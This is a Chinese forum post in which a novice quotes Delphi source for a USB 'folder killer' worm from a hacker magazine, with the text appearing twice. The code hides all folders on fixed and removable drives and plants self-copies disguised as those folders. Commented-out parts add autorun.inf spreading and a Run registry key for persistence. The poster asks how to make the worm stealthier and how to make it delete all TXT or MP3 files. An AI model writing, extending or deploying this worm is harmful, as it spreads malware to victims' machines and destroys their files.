高手请进!关于U盘病毒新变种之文件夹杀手Delphi造源码
关于<黑客X档案>十一期"U盘病毒新变种之文件夹杀手Delphi造源码"小菜有些问题要请教各位高手,能不能加入这样的功能:打开伪装成文件夹的病毒时同时能打开被伪装的文件夹,这样更加强的病毒的隐蔽性!!!而且这病毒的破坏性经我在虚拟机测试好像没什么反应,我虚拟机也没有装杀毒软件及防火墙,能不能打它的功能改成删除硬盘中所有的某一类文件,如TXT,MP3什么的?请客位大侠高手务必指教指教,小菜刚接触delphi!
源代码如下:
{$R *.res}
procedure searchdir(path: string); //搜索指定盘根目录下的文件夹并为文件夹设置隐藏属性,拷贝自身到根目录下并以目录做为名字
var
sr:TSearchRec;
iAttributes:Integer;
begin
iAttributes := 0;
iAttributes :=iAttributes or faDirectory;
if (FindFirst(path+'\*.*', iAttributes, sr) = 0) then //因为目录是未知的,在未知情况下,采用之种方法可以将所有目录找全
begin
if (sr.Attr = iAttributes) then //判断是否为目录
begin
if((sr.Name<>'.') and (sr.Name<>'..')) then //找目录过程中,程序会找到.、..这样的目录,不把它当目录看待,忽略
begin
setfileattributes(pchar(path+sr.Name),file_attribute_hidden); //设置找到的目录为隐藏
copyfile(pchar(paramstr(0)),pchar(path+sr.Name+'.exe'),true); //拷贝自身为找到目录名.exe
end;
end;
while (findnext(sr)=0) do
begin
if (sr.Attr=iattributes) then
begin
if((sr.Name<>'.') and (sr.Name<>'..')) then
begin
setfileattributes(pchar(path+sr.Name),file_attribute_hidden);
copyfile(pchar(paramstr(0)),pchar(path+sr.name+'.exe'),false);
end;
end;
end;
end;
findclose(sr); //关闭寻找
end;
{procedure copyauto(path:string); // 复制uk.exe和autorun.inf
var
str:string;
sm:textfile;
begin
if fileexists(path+'autorun.inf')=false then
begin
assignfile(sm,path+'autorun.inf');
rewrite(sm);
str:='[AUTORUN]';
writeln(sm,str);
str:='open=bad.exe';
writeln(sm,str);
closefile(sm);
end;
copyfile(pchar(paramstr(0)),pchar(path+'bad.exe'),true);
setfileattributes(pchar(path+'bad.exe'),file_attribute_hidden+file_attribute_system);
setfileattributes(pchar(path+'autorun.inf'),file_attribute_hidden+file_attribute_system);
end; }
procedure getdrivers; //获取驱动器
const
drivers:array[0..25] of string=('A:\','B:\','C:\','D:\','E:\','F:\','G:\','H:\','I:\','J:\','K:\','L:\','M:\','N:\','O:\','P:\','Q:\','R:\','S:\','T:\','U:\','V:\','W:\','X:\','Y:\','Z:\');
var
i,sresult:integer;
begin
for I := 0 to 25 do
begin
sresult:=getdrivetype(pchar(drivers));
if ((sresult=drive_fixed) or (sresult=drive_removable)) then //判断是否为固定盘和可移动盘
begin
searchdir(drivers);// copyauto(drivers); //调用seardir函数
end;
end;
end;
{function getsysdir:string;
var
path:array[0..max_path] of char;
begin
getsystemdirectory(path,256);
result:=strpas(path);
end;
procedure copyself;
var
hk:hkey;
s:string;
value:array[0..max_path] of char;
begin
s:=getsysdir+'\bad.exe';
//messagebox(getactivewindow(),pchar(s),pchar('提示'),MB_OK);
copyfile(pchar(paramstr(0)),pchar(s),true);
setfileattributes(pchar(s),file_attribute_hidden+file_attribute_system);
regopenkey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',hk);
value:='bad.exe';
regsetvalueex(hk,'bad',0,REG_SZ,@value,6);
end; }
begin
getdrivers;
//copyself;
end.
还有,VB里有没有类似的伪装成文件夹的功能呢?小菜我遍搜网络都找不到啊!!!!!
关于<黑客X档案>十一期"U盘病毒新变种之文件夹杀手Delphi造源码"小菜有些问题要请教各位高手,能不能加入这样的功能:打开伪装成文件夹的病毒时同时能打开被伪装的文件夹,这样更加强的病毒的隐蔽性!!!而且这病毒的破坏性经我在虚拟机测试好像没什么反应,我虚拟机也没有装杀毒软件及防火墙,能不能打它的功能改成删除硬盘中所有的某一类文件,如TXT,MP3什么的?请客位大侠高手务必指教指教,小菜刚接触delphi!
源代码如下:
{$R *.res}
procedure searchdir(path: string); //搜索指定盘根目录下的文件夹并为文件夹设置隐藏属性,拷贝自身到根目录下并以目录做为名字
var
sr:TSearchRec;
iAttributes:Integer;
begin
iAttributes := 0;
iAttributes :=iAttributes or faDirectory;
if (FindFirst(path+'\*.*', iAttributes, sr) = 0) then //因为目录是未知的,在未知情况下,采用之种方法可以将所有目录找全
begin
if (sr.Attr = iAttributes) then //判断是否为目录
begin
if((sr.Name<>'.') and (sr.Name<>'..')) then //找目录过程中,程序会找到.、..这样的目录,不把它当目录看待,忽略
begin
setfileattributes(pchar(path+sr.Name),file_attribute_hidden); //设置找到的目录为隐藏
copyfile(pchar(paramstr(0)),pchar(path+sr.Name+'.exe'),true); //拷贝自身为找到目录名.exe
end;
end;
while (findnext(sr)=0) do
begin
if (sr.Attr=iattributes) then
begin
if((sr.Name<>'.') and (sr.Name<>'..')) then
begin
setfileattributes(pchar(path+sr.Name),file_attribute_hidden);
copyfile(pchar(paramstr(0)),pchar(path+sr.name+'.exe'),false);
end;
end;
end;
end;
findclose(sr); //关闭寻找
end;
{procedure copyauto(path:string); // 复制uk.exe和autorun.inf
var
str:string;
sm:textfile;
begin
if fileexists(path+'autorun.inf')=false then
begin
assignfile(sm,path+'autorun.inf');
rewrite(sm);
str:='[AUTORUN]';
writeln(sm,str);
str:='open=bad.exe';
writeln(sm,str);
closefile(sm);
end;
copyfile(pchar(paramstr(0)),pchar(path+'bad.exe'),true);
setfileattributes(pchar(path+'bad.exe'),file_attribute_hidden+file_attribute_system);
setfileattributes(pchar(path+'autorun.inf'),file_attribute_hidden+file_attribute_system);
end; }
procedure getdrivers; //获取驱动器
const
drivers:array[0..25] of string=('A:\','B:\','C:\','D:\','E:\','F:\','G:\','H:\','I:\','J:\','K:\','L:\','M:\','N:\','O:\','P:\','Q:\','R:\','S:\','T:\','U:\','V:\','W:\','X:\','Y:\','Z:\');
var
i,sresult:integer;
begin
for I := 0 to 25 do
begin
sresult:=getdrivetype(pchar(drivers));
if ((sresult=drive_fixed) or (sresult=drive_removable)) then //判断是否为固定盘和可移动盘
begin
searchdir(drivers);// copyauto(drivers); //调用seardir函数
end;
end;
end;
{function getsysdir:string;
var
path:array[0..max_path] of char;
begin
getsystemdirectory(path,256);
result:=strpas(path);
end;
procedure copyself;
var
hk:hkey;
s:string;
value:array[0..max_path] of char;
begin
s:=getsysdir+'\bad.exe';
//messagebox(getactivewindow(),pchar(s),pchar('提示'),MB_OK);
copyfile(pchar(paramstr(0)),pchar(s),true);
setfileattributes(pchar(s),file_attribute_hidden+file_attribute_system);
regopenkey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',hk);
value:='bad.exe';
regsetvalueex(hk,'bad',0,REG_SZ,@value,6);
end; }
begin
getdrivers;
//copyself;
end.
还有,VB里有没有类似的伪装成文件夹的功能呢?小菜我遍搜网络都找不到啊!!!!!
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货